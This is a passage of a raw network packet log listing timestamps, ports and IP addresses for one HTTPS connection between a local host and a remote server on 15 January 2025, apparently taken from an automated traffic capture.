Jan 15, 2025 04:22:45.252753973 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.252789974 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.252897024 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.252970934 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.252971888 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.253005028 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.253031015 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.253067017 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.253067970 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.253138065 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.253189087 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.253230095 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.253298998 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.253338099 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.253396034 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.253442049 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.253499031 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.253541946 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.253604889 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.253664017 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.253731966 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.253766060 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.253820896 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.253879070 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.253931999 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.253973961 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.254031897 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.254071951 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.254132032 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.254179955 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.254235983 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.254288912 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.254347086 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.254385948 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.254436016 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.254483938 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.254534960 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.254582882 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.254626036 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.254677057 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.254724026 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.254772902 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.254798889 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.254825115 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.254870892 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.254926920 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.254968882 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.255017042 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.255064011 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.255109072 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.255117893 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.255161047 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.255170107 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.255213022 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.255224943 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.255268097 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.255285978 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.255331993 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.278461933 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.343543053 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.343683958 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.343692064 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.343723059 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.343750000 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.343767881 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.343791962 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.343894005 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.343946934 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.343946934 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.343978882 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.344005108 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.344034910 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.344050884 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.344067097 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.344157934 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.344211102 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.344222069 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.344274998 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.344299078 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.344353914 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.344402075 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.344474077 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.344504118 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.344556093 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.344605923 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.344660044 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.344722033 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.344775915 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.344829082 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.344876051 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.344924927 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.344978094 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.345016956 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.345072985 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.345097065 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.345144987 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.345150948 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.345164061 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.345194101 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.345207930 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.345231056 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.345241070 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.345257044 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.345267057 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.345293045 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.345312119 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.345320940 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.345339060 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.345351934 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.345390081 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.345396042 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.345434904 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.345541954 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.345585108 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.345587015 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.345599890 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.345630884 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.345643044 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.345659018 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.345664978 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.345680952 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.345840931 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.345901012 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.345909119 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.345959902 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.346023083 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.346065998 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.346072912 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.346096039 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.346122980 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.346129894 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.346147060 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.346148968 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.346211910 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.346220016 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.346266031 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.346323013 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.346379995 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.346520901 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.346585989 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.346594095 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.346638918 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.348920107 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.483922958 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.484059095 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.484146118 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.484146118 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.484178066 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.484209061 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.484230042 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.484313965 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.484359026 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.484376907 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.484422922 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.484424114 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.484450102 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.484472990 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.484560966 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.484611034 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.484618902 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.484659910 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.484672070 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.484735012 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.484777927 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.484822035 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.484828949 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.484867096 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.484879971 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.484895945 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.484927893 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.484951019 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.484951019 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.484967947 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485013008 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485044003 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485044003 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485054970 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485089064 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485097885 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485104084 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485129118 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485137939 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485173941 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485181093 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485189915 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485224009 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485234976 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485286951 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485286951 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485301018 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485327005 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485356092 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485398054 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485409021 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485424995 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485467911 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485476971 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485483885 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485506058 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485517025 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485517025 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485531092 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485558033 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485580921 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485622883 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485630035 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485649109 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485668898 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485676050 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485694885 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485703945 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485745907 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485754013 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485780001 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485795975 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485804081 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485816002 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485817909 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485866070 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485873938 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485887051 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485912085 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485919952 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485937119 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485938072 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.485984087 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.485989094 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.486000061 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.486028910 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.486049891 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.486093044 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.486099958 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.486116886 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.486140966 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.486146927 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.486164093 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.486174107 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.486217022 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.486224890 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.486241102 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.486265898 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.486272097 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.486284971 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.511924982 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.752140999 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.752280951 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.752329111 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.752361059 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.752388000 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.752402067 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.752454042 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.752464056 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.752513885 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.752568960 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.752577066 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.752625942 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.752686977 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.752695084 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.752733946 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.752821922 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.752830982 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.752846956 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.752899885 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.752909899 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.752964973 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.753015995 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.753024101 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.753073931 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.753129005 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.753139019 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.753194094 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.753242016 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.753252029 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.753302097 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.753351927 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.753360033 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.753410101 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.753458977 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.753468037 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.753520012 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.753566980 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.753575087 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.753623009 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.753673077 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.753680944 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.753741026 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.753796101 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.753804922 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.753874063 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.753923893 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.753935099 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.753983974 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.754030943 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.754040956 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.754092932 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.754136086 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.754143953 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.754199982 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.754252911 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.754261017 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.754304886 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.754354954 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.754364967 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.754420042 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.754466057 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.754473925 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.754534006 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.754580975 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.754589081 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.754645109 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.754750013 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.754765987 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.754796028 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.754812956 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.754909039 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.754959106 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.754970074 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755012989 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755058050 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.755065918 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755109072 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755151033 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.755158901 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755173922 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755219936 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.755227089 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755244017 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755289078 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.755290031 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755301952 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755331993 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.755343914 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.755382061 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755429983 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.755431890 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755445004 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755486012 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.755496025 CET	443	49740	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:45.755544901 CET	49740	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:45.755553961 CET	443	49740	39.103.20.17	192.168.2.4
